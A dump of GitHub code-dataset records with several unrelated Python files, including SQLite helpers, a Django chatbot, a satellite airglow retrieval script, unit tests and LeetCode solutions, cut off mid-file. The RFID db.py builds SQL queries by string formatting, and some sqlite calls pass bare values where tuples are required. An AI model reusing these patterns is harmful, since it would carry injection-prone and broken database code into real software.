self.cursor.execute('''CREATE TABLE IF NOT EXISTS balls (\r\n ballID INTEGER PRIMARY KEY,\r\n b_simID INTEGER,\r\n type TEXT,\r\n count INTEGER,\r\n mass REAL,\r\n radius INTEGER,\r\n colour TEXT,\r\n xposition INTEGER,\r\n yposition INTEGER,\r\n xvelocity REAL,\r\n yvelocity REAL,\r\n FOREIGN KEY (b_simID)REFERENCES simulations (simID)\r\n )''')\r\n\r\n self.cursor.execute('''CREATE TABLE IF NOT EXISTS acceleration (\r\n accelerationID INTEGER PRIMARY KEY,\r\n a_simID INTEGER,\r\n walls BOOL,\r\n variable TEXT,\r\n xvelocity TEXT,\r\n yvelocity TEXT,\r\n FOREIGN KEY (a_simID) REFERENCES simulations (simID)\r\n )''')\r\n\r\n self.cursor.execute('''CREATE TABLE IF NOT EXISTS collisions (\r\n collisionID INTEGER PRIMARY KEY,\r\n c_simID INTEGER,\r\n walls BOOL,\r\n elastic BOOL,\r\n radius BOOL,\r\n ab REAL,\r\n ac REAL,\r\n ad REAL,\r\n bc REAL,\r\n bd REAL,\r\n cd REAL,\r\n FOREIGN KEY (c_simID) REFERENCES simulations (simID)\r\n )''')\r\n\r\n def save(self, sim_type, data):\r\n\r\n self.cursor.execute('''INSERT INTO simulations (name, description, type) VALUES (\r\n ?, ?, ?\r\n )''', (data[0], data[1], sim_type))\r\n\r\n self.sim_id = self.cursor.lastrowid\r\n \r\n if sim_type == 'c':\r\n for ball in data[2]:\r\n self.cursor.execute(''' INSERT INTO balls (b_simId, type, count, mass, radius, colour, xposition ,yposition, xvelocity, yvelocity) VALUES (\r\n ?, ?, ?, ?, ?, ?, ?, ?, ?, ?\r\n )''', (self.sim_id, sim_type, ball.count, ball.mass, ball.radius, ball.colour, ball.position[0], ball.position[1], ball.xvel, ball.yvel))\r\n\r\n self.values = (self.sim_id, data[3][0], data[3][1], data[3][2], data[3][3], data[3][4], data[3][5], data[3][6], data[3][7], data[3][8])\r\n \r\n self.cursor.execute(''' INSERT INTO collisions (c_simID, walls, radius, elastic, ab, ac, ad, bc, bd, cd) VALUES (\r\n ?, ?, ?, ?, ?, ?, ?, ?, ?, ?\r\n )''', (self.values))\r\n\r\n elif sim_type == 'a':\r\n ball = data[2]\r\n self.cursor.execute(''' INSERT INTO balls (b_simID, type, count, mass, radius, colour, xposition ,yposition, xvelocity, yvelocity) VALUES (\r\n ?, ?, ?, ?, ?, ?, ?, ?, ?, ?\r\n )''', (self.sim_id, sim_type, ball.count, ball.mass, ball.radius, ball.colour, ball.position[0], ball.position[1], ball.xvel, ball.yvel))\r\n \r\n self.values = (str(self.sim_id), data[3][0], data[3][1], data[3][2], data[3][3])\r\n\r\n self.cursor.execute(''' INSERT INTO acceleration (a_simID, walls, variable, xvelocity, yvelocity) VALUES (\r\n ?, ?, ?, ?, ?\r\n )''', (self.values))\r\n\r\n else:\r\n return NotImplementedError\r\n\r\n self.conn.commit()\r\n\r\n\r\n def load_for_menu(self):\r\n self.cursor.execute(''' SELECT * FROM simulations ''')\r\n self.basic_info = self.cursor.fetchall()\r\n\r\n return self.basic_info\r\n\r\n def load_specific(self, sim_type, sim_id):\r\n self.sim_data = []\r\n self.ball_data = []\r\n \r\n if sim_type == 'c':\r\n self.cursor.execute(''' SELECT * FROM collisions WHERE c_simID = ? ''', (sim_id))\r\n self.sim_data = self.cursor.fetchall()\r\n\r\n self.cursor.execute(''' SELECT * FROM balls WHERE b_simID = ? ''', (sim_id))\r\n self.ball_data = self.cursor.fetchall()\r\n \r\n elif sim_type == 'a':\r\n self.cursor.execute(''' SELECT * FROM acceleration WHERE a_simID = ? ''', (sim_id))\r\n self.sim_data = self.cursor.fetchall()\r\n\r\n self.cursor.execute(''' SELECT * FROM balls WHERE b_simID = ? ''', (sim_id))\r\n self.ball_data = self.cursor.fetchall()\r\n\r\n self.conn.commit()\r\n\r\n return [self.sim_data, self.ball_data]\r\n\r\n def reset(self):\r\n self.cursor.execute('''DROP TABLE IF EXISTS balls''')\r\n self.cursor.execute('''DROP TABLE IF EXISTS simulations''')\r\n self.cursor.execute('''DROP TABLE IF EXISTS collisions''')\r\n self.cursor.execute('''DROP TABLE IF EXISTS acceleration''')\r\n \r\n self.conn.commit()\r\n\r\n def remove(self, sim_id):\r\n self.cursor.execute(''' DELETE FROM simulations WHERE simID = ? ''', sim_id)\r\n self.cursor.execute(''' DELETE FROM collisions WHERE c_simID = ? ''', sim_id)\r\n self.cursor.execute(''' DELETE FROM acceleration WHERE a_simID = ? ''', sim_id)\r\n self.cursor.execute(''' DELETE FROM balls WHERE b_simID = ? ''', sim_id)\r\n\r\n self.conn.commit()\r\n\r\n def finish(self):\r\n self.cursor.close()\r\n self.conn.close()\r\n\r\n\r\n\r\n\r\n\r\n \r\n \r\n","repo_name":"CadeHall/Mechanics-Program-Coursework","sub_path":"saves.py","file_name":"saves.py","file_ext":"py","file_size_in_byte":6125,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"25551175307","text":"import sqlite3\n\n\ndef setup_connection():\n try:\n sqliteConnection = sqlite3.connect('rfid_cards.db')\n cursor = sqliteConnection.cursor()\n print(\"Database created and Successfully Connected to SQLite\")\n\n sqlite_select_Query = \"select sqlite_version();\"\n cursor.execute(sqlite_select_Query)\n record = cursor.fetchall()\n print(\"SQLite Database Version is: \", record)\n\n sqlite_select_Query = \"CREATE TABLE IF NOT EXISTS cards (id INTEGER PRIMARY KEY AUTOINCREMENT, content TEXT NOT NULL);\"\n cursor.execute(sqlite_select_Query)\n cursor.commit()\n cursor.close()\n\n except sqlite3.Error as error:\n print(\"Error while connecting to sqlite\", error)\n finally:\n if (sqliteConnection):\n sqliteConnection.close()\n print(\"The SQLite connection is closed\")\n\n\ndef get_db_cursor():\n try:\n sqliteConnection = sqlite3.connect('rfid_cards.db')\n cursor = sqliteConnection.cursor()\n except sqlite3.Error as error:\n print(\"Error while connecting to sqlite\", error)\n cursor = None\n return cursor\n\n\ndef update_card(card_id, text):\n cursor = get_db_cursor()\n sqlite_select_Query = 'REPLACE INTO positions (id, content) VALUES({}, \"{}\");'.format(str(card_id), str(text))\n cursor.execute(sqlite_select_Query)\n cursor.commit()\n cursor.close()\n\n\ndef get_card(card_id):\n cursor = get_db_cursor()\n sqlite_select_Query = 'SELECT * FROM cards WHERE id = {}'.format(str(card_id))\n cursor.execute(sqlite_select_Query)\n record = cursor.fetchall()\n cursor.close()\n return record\n\n\ndef get_all_cards():\n cursor = get_db_cursor()\n sqlite_select_Query = 'SELECT * FROM cards'\n cursor.execute(sqlite_select_Query)\n record = cursor.fetchall()\n cursor.close()\n return record","repo_name":"AndrewSkea/MFRC-522-nfc-card-manager","sub_path":"src/db.py","file_name":"db.py","file_ext":"py","file_size_in_byte":1838,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"35878405326","text":"import matplotlib.pyplot as plt\nimport numpy as np\nfrom airglow.FUV_L2 import get_msisGPI, FUV_Level_2_Density_Calculation, find_hm_Nm_F2, nan_checker\nimport airglow.ICON_FUV_fwd_model as FUV_F # for simulating data\nimport netCDF4, pyglow\nfrom dateutil import parser\nfrom datetime import timedelta\nfrom scipy.signal import medfilt\n\ndate = '2020-08-30'\ndata = True # True: use data, False: use simulation for brightness\ntest = False # if True, artificially creates a hot pixel with high uncertainty\nmedian = False\nepoch = 225\nstripe = 3\nlimb = 150.\ncontribution ='RRMN'\nreg_method = 'Tikhonov'\nweight_resid = False\nSpherical = True\nregu_order = 2\nreg_param = 2500.\n\npath_dir = '/home/kamo/resources/iconfuv/nc_files/'\n\nfile_l1 = path_dir + 'l1/ICON_L1_FUV_SWP_{}_v03r000.NC'.format(date)\n# file_l2='nc_files/ICON_L3_FUV_Oxygen-Profile-Night_{}_v01r000.NC'.format(date)\nfile_anc = path_dir + 'l0/ICON_L0P_FUV_Ancillary_{}_v03r000.NC'.format(date)\nfile_GPI = path_dir + 'ICON_Ancillary_GPI_2015-001-to-2020-326_v01r000.NC'\n\nanc = netCDF4.Dataset(file_anc, mode='r')\nl1 = netCDF4.Dataset(file_l1, mode='r')\n# l2 = netCDF4.Dataset(file_l2, mode='r')\ngpi = netCDF4.Dataset(file_GPI, mode='r')\n\nmirror_dir = ['M9','M6','M3','P0','P3','P6']\n\nmode = l1.variables['ICON_L1_FUV_Mode'][:]\nidx = np.where(mode==2)[0][epoch]\ndn = parser.parse(anc.variables['ICON_ANCILLARY_FUV_TIME_UTC'][idx])\n\n# Read the geophysical indeces\nap3 = gpi['ap3'][:]\nap = gpi['ap'][:]\nyear_day = gpi['year_day'][:]\nf107 = gpi['f107d'][:]\n# Make sure this GPI has the average f107 in it\nif 'f107a' in gpi.variables.keys():\n f107a = gpi['f107a'][:]\nelse:\n f107a = gpi['f107d'][:]\ngpi.close()\n\nmy_f107, my_f107a, my_f107p, my_apmsis = get_msisGPI(dn, year_day, f107, f107a, ap, ap3)\n\n# FUV_AZ = anc.variables['ICON_ANCILLARY_FUV_FOV_AZIMUTH_ANGLE'][:,:,:]\n# FUV_ZE = anc.variables['ICON_ANCILLARY_FUV_FOV_ZENITH_ANGLE'][:,:,:]\ntanalts = anc.variables['ICON_ANCILLARY_FUVA_TANGENTPOINTS_LATLONALT'][idx,:,stripe,2]\ntanlons = anc.variables['ICON_ANCILLARY_FUVA_TANGENTPOINTS_LATLONALT'][idx,:,stripe,1]\ntanlats = anc.variables['ICON_ANCILLARY_FUVA_TANGENTPOINTS_LATLONALT'][idx,:,stripe,0]\nsatlatlonalt = [\n anc.variables['ICON_ANCILLARY_FUV_LATITUDE'][idx],\n anc.variables['ICON_ANCILLARY_FUV_LONGITUDE'][idx],\n anc.variables['ICON_ANCILLARY_FUV_ALTITUDE'][idx]\n]\nlocal_time = anc.variables['ICON_ANCILLARY_FUVA_TANGENTPOINTS_LST'][idx, -1, 2]\nprint('Local Time:{}'.format(str(timedelta(seconds=local_time*3600))[:-7]))\nprint('Orbit:{}'.format(anc.variables['ICON_ANCILLARY_FUV_ORBIT_NUMBER'][idx]))\n\n# Only consider values above the limb\nlimb_i = np.where(np.squeeze(tanalts)>=limb)[0]\nbr = l1.variables['ICON_L1_FUVA_SWP_PROF_%s_CLEAN' % mirror_dir[stripe]][idx,limb_i]\nbr0 = l1.variables['ICON_L1_FUVA_SWP_PROF_%s' % mirror_dir[stripe]][idx,limb_i]\nunmasked_ind = nan_checker(br)\nlimb_i0 = limb_i[unmasked_ind]\nbr = br[::-1]\nbr0 = br0[::-1]\nunmasked_ind_f = nan_checker(br)\nlimb_i = limb_i[unmasked_ind_f]\nbr = br[unmasked_ind_f]\nbr0 = br0[unmasked_ind_f]\nerr = l1.variables['ICON_L1_FUVA_SWP_PROF_%s_Error' % mirror_dir[stripe]][idx,limb_i0]\nerr = err[::-1]\nerr[np.where(err<1e-1)] = 1 # set the error to 1 if it is 0\nh = np.squeeze(tanalts[limb_i0])\nh = h[::-1]\naz = np.squeeze(anc.variables['ICON_ANCILLARY_FUVA_FOV_AZIMUTH_ANGLE'][idx,limb_i0,stripe])\naz = az[::-1]\nze = np.squeeze(anc.variables['ICON_ANCILLARY_FUVA_FOV_ZENITH_ANGLE'][idx,limb_i0,stripe])\nze = ze[::-1]\ntanlons = tanlons[limb_i0]\ntanlats = tanlats[limb_i0]\ntanlons = tanlons[::-1]\ntanlats = tanlats[::-1]\n\nanc.close()\nl1.close()\n\nif median is True:\n br = medfilt(br, kernel_size=1)\n # err = medfilt(err, kernel_size=3)\n # err = np.sqrt(br)\n\nif data is False:\n # Simulate brightness profile at the given space-time using MSIS/IRI\n br_nn, phot_nn = FUV_F.get_Photons_from_Brightness_Profile_1356_nighttime(\n ze,az,satlatlonalt[0],satlatlonalt[1],satlatlonalt[2],dn,\n cont=1,\n symmetry=0, # 0 = spherical symmetry\n shperical=0, # 0 = spherical earth\n step = 100., # step size for line-of-sight integral. Larger --> runs faster\n f107=my_f107,\n f107a=my_f107a,\n f107p=my_f107p,\n apmsis=my_apmsis,\n stripes_used=1\n )\n\n temp, xx = FUV_F.add_noise_to_photon_and_brightness(phot_nn,stripes_used=1)\n br = temp[0,:] # only use first realization\n err = np.sqrt(br_nn)\n if test is True: # artificially create a hot pixel with high uncertainty\n br[-10] *= 20\n err[-10] *= 1e3\n\n# br2 = br.copy()\n# br2[70] = br[70] + 250\n# br2[70:100] = 0.7 * br[70:100]\n\nver,Ne,h_centered,Sig_ver,Sig_Ne = FUV_Level_2_Density_Calculation(\n br,h,satlatlonalt,az,ze,\n Sig_Bright = np.diag(err**2), weight_resid=False,\n limb = limb,Spherical = Spherical, reg_method = reg_method,\n regu_order = regu_order, contribution =contribution,dn = dn,\n f107=my_f107, f107a=my_f107a, f107p=my_f107p, apmsis=my_apmsis,\n reg_param=reg_param\n)\n\n# ver_w,Ne_w,h_centered,Sig_ver_w,Sig_Ne_w = FUV_Level_2_Density_Calculation(\n# br2,h,satlatlonalt,az,ze,\n# Sig_Bright = np.diag(err**2), weight_resid=False,\n# limb = limb,Spherical = Spherical, reg_method = reg_method,\n# regu_order = regu_order, contribution =contribution,dn = dn,\n# f107=my_f107, f107a=my_f107a, f107p=my_f107p, apmsis=my_apmsis,\n# reg_param=reg_param\n# )\n\nne_true = np.zeros_like(Ne)\nfor m in range(len(ne_true)):\n pt = pyglow.Point(dn, satlatlonalt[0], satlatlonalt[1], h_centered[m], user_ind=True)\n # pt = pyglow.Point(dn, tanlats[m], tanlons[m], h_centered[m], user_ind=True)\n pt.f107 = my_f107\n pt.f107a = my_f107a\n pt.f107p = my_f107p\n pt.apmsis = my_apmsis\n pt.run_iri()\n ne_true[m] = pt.ne\n\nhm,Nm,sig_hm,sig_Nm = find_hm_Nm_F2(Ne,h_centered,Sig_NE=Sig_Ne)\n# hm_w,Nm_w,sig_hm_w,sig_Nm_w = find_hm_Nm_F2(Ne_w,h_centered,Sig_NE=Sig_Ne_w)\n\nplt.figure()\nplt.plot(Ne, h_centered, label='Normal')\nplt.plot(Nm, hm, 'bo')\n# plt.plot(Ne_w, h_centered, label='Adjusted')\n# plt.plot(Nm_w, hm_w, 'ro')\n# plt.plot(ne_true, h_centered, label='True')\nplt.ticklabel_format(style='sci', axis='x', scilimits=(0,2))\nplt.title('Retrieved O$^+$ Comparison')\nplt.xlabel('$O^+$ Density [$cm^{-3}$]')\nplt.ylabel('Altitude [km]')\nplt.grid(which='both', axis='both')\nplt.legend()\n\n# plt.figure()\n# plt.plot(np.diag(Sig_Ne), h_centered, label='Unwhitened')\n# plt.plot(np.diag(Sig_Ne_w), h_centered, label='Whitened')\n# plt.ticklabel_format(style='sci', axis='x', scilimits=(0,2))\n# plt.title('Data Retrieved Ne Uncertainty Whitening Comparison')\n# plt.xlabel('VER Uncertainty [$cm^{-3}$]')\n# plt.ylabel('Altitude [km]')\n# plt.legend()\n\nplt.figure()\nplt.plot(br, h, label='Brightness Clean')\nplt.plot(br0, h, label='Brightness Raw')\nplt.legend()\n# plt.plot(err, h, label='Error')\n# plt.plot(br_nn, h, label='No Noise')\nplt.ticklabel_format(style='sci', axis='x', scilimits=(0,3))\nplt.title('Simulated Brightness' if data is False else 'Brightness')\nplt.xlabel('135.6 nm Brightness [R]')\nplt.ylabel('Tangent Altitudes [km]')\nplt.grid(which='both', axis='both')\nplt.show()\n","repo_name":"UIUC-SINE/icon-fuv","sub_path":"python3/scripts/custom_l25.py","file_name":"custom_l25.py","file_ext":"py","file_size_in_byte":7098,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"18252583743","text":"from django.shortcuts import render, redirect\nfrom django.contrib.auth.mixins import LoginRequiredMixin\nfrom django.views import View\nfrom django.contrib.auth import authenticate, login, logout\nfrom django.contrib.auth.forms import AuthenticationForm\nfrom django.contrib import messages\nfrom .models import Chat, ChatHistory\nfrom .forms import UserCreationForm\nfrom .cbrain import Chatbot\n\n# global chatbot instance\nchatbot = Chatbot()\n\n\ndef index(request):\n '''Home page'''\n # if user is logged in, redirect to chat page\n if request.user.is_authenticated:\n return redirect('chat')\n return redirect('login') # otherwise, redirect to login page\n\n\nclass chat_view(LoginRequiredMixin, View):\n '''Chat page'''\n\n def get(self, request): # get request\n # get chat session for user, and render chat page\n try:\n chat = Chat.objects.get(user=request.user)\n except Chat.DoesNotExist:\n chat = Chat.objects.create(user=request.user)\n\n chat_history = chat.get_history()\n return render(request, 'chat.html', {'chat_history': chat_history})\n\n def post(self, request): # post request\n user_message = request.POST.get('user_message')\n\n # get chat session for user\n try:\n chat = Chat.objects.get(user=request.user)\n except Chat.DoesNotExist:\n chat = Chat.objects.create(user=request.user)\n\n # save user message to database\n ChatHistory.objects.create(\n chat_session=chat, message=user_message, is_bot=False)\n\n # get chatbot response and save it to database\n chatbot_response = chatbot.get_response(user_message)\n ChatHistory.objects.create(\n chat_session=chat, message=chatbot_response, is_bot=True)\n\n # redirect to chat page, so that the page is refreshed\n # and the new message is displayed\n return redirect('chat')\n\n\ndef login_view(request):\n '''Login page'''\n if request.user.is_authenticated:\n # user is already logged in, redirect to chat page\n return redirect('chat')\n\n if request.method == 'POST':\n # if request is post, authenticate user and log them in\n form = AuthenticationForm(data=request.POST)\n if form.is_valid():\n username = form.cleaned_data.get('username')\n password = form.cleaned_data.get('password')\n user = authenticate(request, username=username, password=password)\n\n if user is not None:\n # authentication success, log the user in\n login(request, user)\n return redirect('chat')\n # authentication failed, back to login page\n return redirect('login')\n\n else:\n # if request is GET and user is not logged in, render login page\n return render(request, 'login.html')\n\n\ndef logout_view(request):\n '''Logs out user'''\n logout(request)\n global chatbot\n chatbot = Chatbot() # reset chatbot\n return redirect('login')\n\n\ndef signup_view(request):\n '''Signup page'''\n\n # new signup request\n if request.method == 'POST':\n form = UserCreationForm(request.POST) # create user form\n if form.is_valid():\n # save user to database\n user = form.save()\n login(request, user)\n return redirect('chat') # signup success, redirect to chat page\n else:\n # signup failed, redirect to signup page\n return redirect('signup')\n else:\n # if request is GET, render signup page\n return render(request, 'signup.html')\n","repo_name":"r0hitm/chatbot","sub_path":"chatbot/cbrain/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":3601,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"74059427252","text":"import unittest\nfrom dixi import Dixi\n\nclass TestDixi(unittest.TestCase):\n def test_assign_and_read(self):\n d = Dixi()\n d['a'] = 3\n self.assertEqual(d['a'], 3)\n\n def test_delete(self):\n d = Dixi()\n d['a'] = 3\n del d['a']\n with self.assertRaises(KeyError):\n d['a']\n with self.assertRaises(KeyError):\n d['a']\n\n def test_assign_deep(self):\n d = Dixi()\n d['my', 'a'] = 3\n self.assertEqual(d['my', 'a'], 3)\n self.assertEqual(d['my'], {'a': 3})\n \n def test_deep_delete(self):\n d = Dixi()\n d['my', 'a'] = 3\n d['my', 'b'] = 4\n d['your', 'a'] = 3\n d['your', 'b'] = 4\n\n del d['my']\n with self.assertRaises(KeyError):\n d['my']\n with self.assertRaises(KeyError):\n d['my', 'a']\n\n del d['your', 'b']\n with self.assertRaises(KeyError):\n d['your', 'b']\n self.assertEqual(d['your', 'a'], 3)\n\n def test_contains(self):\n d = Dixi()\n d['my', 'a'] = 1\n d['my', 'b'] = 2\n d['your'] = 3\n self.assertTrue(('my', 'a') in d)\n self.assertTrue('my' in d)\n self.assertTrue(('my',) in d)\n self.assertTrue('your' in d)\n self.assertFalse(('my', 'c') in d)\n self.assertFalse(('your', 'q') in d)\n self.assertFalse('x' in d)\n \n def test_pop(self):\n d = Dixi()\n d['your', 'bike'] = 12\n d['my', 'bike'] = d.pop(('your', 'bike'))\n \n with self.assertRaises(KeyError):\n d['your', 'bike']\n self.assertEqual(d['my', 'bike'], 12)\n self.assertEqual(d['your'], {})\n\n d.pop('your')\n with self.assertRaises(KeyError):\n d['your']\n \n def test_iterleaves(self):\n d = Dixi()\n d['a', 'b'] = 1\n d['c'] = 2\n leaves = list(d.iterleaves())\n expected_leaves = [\n (('a', 'b'), 1),\n (('c',), 2),\n ]\n self.assertEqual(leaves, expected_leaves)\n\n def test_slice(self):\n data = {\n 'John': {'age': 4},\n 'Bertha': {'age': 6},\n 'Chris': {'age': 10},\n }\n d = Dixi(data)\n\n ages = d[:, 'age']\n\n expected_ages = Dixi({\n 'John': 4,\n 'Bertha': 6,\n 'Chris': 10,\n })\n\n self.assertEqual(ages.data, expected_ages.data)\n\n def test_subset_slice(self):\n data = {\n 'John': {'age': 4},\n 'Bertha': {'age': 6},\n 'Chris': {'age': 10},\n }\n d = Dixi(data)\n\n ages = d[['John', 'Bertha'], 'age']\n\n expected_ages = Dixi({\n 'John': 4,\n 'Bertha': 6,\n })\n\n self.assertEqual(ages.data, expected_ages.data)\n\n\nif __name__ == '__main__':\n unittest.main()\n","repo_name":"tvogels/dixi","sub_path":"tests/test_dixi.py","file_name":"test_dixi.py","file_ext":"py","file_size_in_byte":2870,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"70350543732","text":"def dfs(graph, start, end, visited = []):\n visited.append(start)\n\n for n in graph[start]:\n if end in visited:\n break\n if n not in visited:\n dfs(graph, n, end, visited)\n\n # 목표 노드에 도착했을 경우\n if end in visited:\n break\n\n # 만약 더 갈 곳이 없는 경우 왔던 노드들을 제거하면서 돌아감\n visited.pop(len(visited) - 1)\n \n return visited\n\nn = int(input())\nstart, end = map(int, input().split())\nm = int(input())\nfamilyGraph = {}\n\nfor i in range(n):\n familyGraph[i + 1] = []\n\n# 직접 연결된 노드들 선언\nfor _ in range(m):\n a, b = map(int, input().split())\n familyGraph[a].append(b)\n familyGraph[b].append(a)\n\nres = dfs(familyGraph, start, end)\n\nif end in res:\n print(len(res) - 1)\nelif end not in res:\n print(-1)\n","repo_name":"BeamjunCho9/Algorithm-Study","sub_path":"백준 2644 ( 촌수 계산 ).py","file_name":"백준 2644 ( 촌수 계산 ).py","file_ext":"py","file_size_in_byte":881,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"39715663426","text":"from typing import List\n\n\nclass Solution:\n def findRepeatedDnaSequences(self, s: str) -> List[str]:\n sequences = {}\n repeated_sequences = []\n\n for start_index in range(len(s) - 9):\n curr_str = s[start_index:start_index + 10]\n\n if curr_str not in sequences:\n sequences[curr_str] = 0\n\n if sequences[curr_str] == 1:\n repeated_sequences.append(curr_str)\n\n sequences[curr_str] += 1\n\n return repeated_sequences\n","repo_name":"dyaroshevych/leetcode","sub_path":"python/0187. Repeated DNA Sequences.py","file_name":"0187. Repeated DNA Sequences.py","file_ext":"py","file_size_in_byte":510,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"21"} +{"seq_id":"4600330794","text":"from intcode import run_intcode\n\nwith open(\"input-19.txt\") as f:\n code = [int(x) for x in f.readline().strip().split(',')]\n\n\ndef test_beam(point):\n drone = run_intcode(code)\n next(drone)\n drone.send(point[0])\n return drone.send(point[1])\n\n\n# Part 1\n\nnumber_of_beam_points = sum(test_beam((x,y)) for x in range(50) for y in range(50))\nprint(number_of_beam_points)\n\n# Part 2\n\nx, y = 0, 0\nwhile True:\n if test_beam((x, y+99)):\n if test_beam((x+99, y)):\n break\n else:\n y += 1\n else:\n x += 1\n \nprint(10000 * x + y) \n\n","repo_name":"jfeudeline/advent-of-code-2019","sub_path":"day-19.py","file_name":"day-19.py","file_ext":"py","file_size_in_byte":582,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"3965504163","text":"from github import Github\nimport time\nimport os\n\ntoken = os.environ.get(\"GITHUBTOKENCICD\")\ng = Github(token) #change this to your own token\n\nrepo = g.get_repo(\"sambit-ghosh-hub/flask-hello-world\")#change this to your owm flask app\n\ndev_branch = repo.get_branch(\"dev\")\n\nprint(dev_branch.commit.sha)\n\nlatest_sha = dev_branch.commit.sha\n\ncommit = repo.get_commit(sha=latest_sha)\n\nprint(commit.commit.author.date)\n\nwhile True:\n dev_branch = repo.get_branch(\"dev\")\n print(\"Checking for new commit...\")\n sha = dev_branch.commit.sha\n\n if sha != latest_sha:\n print(\"Found new commit. Deploying...\")\n latest_sha = sha\n os.system(\".\\batchscript\\pullanddeploy.bat\")\n pass\n \n time.sleep(1*60)\n ","repo_name":"sambit-ghosh-hub/cicd-pipeline","sub_path":"pythonscripts/cicd.py","file_name":"cicd.py","file_ext":"py","file_size_in_byte":687,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"41841338996","text":"class counter:\n\tdef __init__(self,high,low):\n\t\tself.current=high\n\t\tself.low=low\n\tdef __iter__(self):\n\t\treturn self\n\tdef __next__(self):\n\t\tif self.current int:\n if len(nums) == 1:\n return nums[0]\n if len(nums) == 2:\n return max(nums[0], nums[1])\n\n prev1 = 0\n prev2 = 0\n for num in nums:\n tmp = prev1\n prev1 = max(prev2 + num, prev1)\n prev2 = tmp\n return prev1\n\n def rob(self, nums) -> int:\n def rob_simple(nums: List[int]) -> int:\n if len(nums) == 1:\n return nums[0]\n if len(nums) == 2:\n return max(nums[0], nums[1])\n\n prev1 = 0\n prev2 = 0\n for num in nums:\n tmp = prev1\n prev1 = max(prev2 + num, prev1)\n prev2 = tmp\n return prev1\n\n if len(nums) == 1:\n return nums[0]\n if len(nums) == 2:\n return max(nums[0], nums[1])\n\n return max(rob_simple(nums[1:]), rob_simple(nums[:-1]))\n\n def intersect(self, nums1, nums2):\n if len(nums1) < len(nums2):\n return self.intersect(nums2, nums1)\n counts = {}\n res = []\n for num in nums1:\n counts[num] = counts.get(num, 0) + 1\n for num in nums2:\n if num in counts and counts[num] > 0:\n counts[num] -= 1\n res.append(num)\n return res\n\n def maxProfit(self, prices: List[int]) -> int:\n flag = True\n for i in range(len(prices) - 1):\n if prices[i] < prices[i + 1]:\n flag = False\n if flag:\n return 0\n\n max_profit = prices[len(prices) - 1] - prices[len(prices) - 1]\n max_value = prices[len(prices) - 1]\n for i in range(len(prices) - 2, -1, -1):\n max_value = max(max_value, prices[i + 1])\n max_profit = max(max_profit, max_value - prices[i])\n return max_profit\n\n def deleteAndEarn(self, nums: List[int]) -> int:\n counts = [0] * (10 ** 4 + 1)\n maximum = minimum = nums[0]\n for num in nums:\n counts[num] += 1\n maximum = max(maximum, num)\n minimum = min(minimum, num)\n prev = curr = 0\n for i in range(minimum, maximum + 1):\n prev, curr = curr, max(prev + counts[i] * i, curr)\n return curr\n\n def matrixReshape(self, mat: List[List[int]], r: int, c: int) -> List[List[int]]:\n if len(mat) * len(mat[0]) != r * c:\n return mat\n result = []\n row = []\n steps = 0\n for i in range(len(mat)):\n for j in range(len(mat[i])):\n row.append(mat[i][j])\n steps += 1\n if steps == c:\n steps = 0\n result.append(row)\n row = []\n return result\n\n def generate(self, numRows: int) -> List[List[int]]:\n if numRows == 1:\n return [[1]]\n res = [[1], [1, 1]]\n if numRows == 2:\n return res\n for i in range(3, numRows + 1):\n row = [0] * i\n for j in range(0, i):\n if j > 0 and j < i - 1:\n row[j] = res[i - 2][j - 1] + res[i - 2][j]\n else:\n row[j] = 1\n res.append(row)\n return res\n\n def lengthOfLongestSubstringVerbose(self, s: str) -> int:\n if len(s) < 2:\n return len(s)\n p1 = 0\n p2 = 0\n counts = {}\n max_len = 0\n max_substring = \"\"\n while p1 < len(s) - 1:\n if s[p2] not in counts and p2 < len(s) - 1:\n counts[s[p2]] = True\n p2 += 1\n else:\n if s[p2] not in counts and p2 == len(s) - 1:\n counts[s[p2]] = True\n if max_len < len(counts):\n max_len = len(counts)\n max_substring = ''.join(counts.keys())\n counts = {}\n p1 += 1\n p2 = p1\n return max_len\n\n def lengthOfLongestSubstring(self, s: str) -> int:\n if len(s) < 2:\n return len(s)\n p1 = 0\n p2 = 0\n counts = {}\n max_len = 0\n while p1 < len(s) - 1:\n if s[p2] not in counts and p2 < len(s) - 1:\n counts[s[p2]] = True\n p2 += 1\n else:\n if s[p2] not in counts and p2 == len(s) - 1:\n counts[s[p2]] = True\n if max_len < len(counts):\n max_len = len(counts)\n counts = {}\n p1 += 1\n p2 = p1\n return max_len\n\n def checkInclusion(self, s1: str, s2: str) -> bool:\n if len(s1) > len(s2):\n return False\n res = False\n hash_s1 = {}\n for c in s1:\n hash_s1[c] = hash_s1.get(c, 0) + 1\n p1 = 0\n p2 = len(s1)\n while p2 <= len(s2):\n hash_w = {}\n for c in s2[p1:p2]:\n if c not in hash_s1:\n break\n else:\n hash_w[c] = hash_w.get(c, 0) + 1\n if hash_s1 == hash_w:\n return True\n p1 += 1\n p2 += 1\n return res\n\n def canJump(self, nums: List[int]) -> bool:\n if len(nums) == 1:\n return True\n if nums[0] == 0:\n return False\n trail = 0\n for i in range(len(nums) - 2, -1, -1):\n if nums[i] != 0:\n if nums[i] > trail:\n trail = 0\n else:\n trail += 1\n else:\n trail += 1\n return trail == 0\n\n def floodFill(self, image: List[List[int]], sr: int, sc: int, newColor: int) -> List[List[int]]:\n def fill(image: List[List[int]], sr, sc, newColor, color):\n if sc < 0 or sc >= len(image[0]) or sr < 0 or sr >= len(image) or image[sr][sc] != color:\n return None\n image[sr][sc] = newColor\n fill(image, sr - 1, sc, newColor=newColor, color=color)\n fill(image, sr + 1, sc, newColor=newColor, color=color)\n fill(image, sr, sc - 1, newColor=newColor, color=color)\n fill(image, sr, sc + 1, newColor=newColor, color=color)\n\n if image[sr][sc] == newColor:\n return image\n\n fill(image, sr, sc, newColor=newColor, color=image[sr][sc])\n return image\n\n def maxAreaOfIsland(self, grid: List[List[int]]) -> 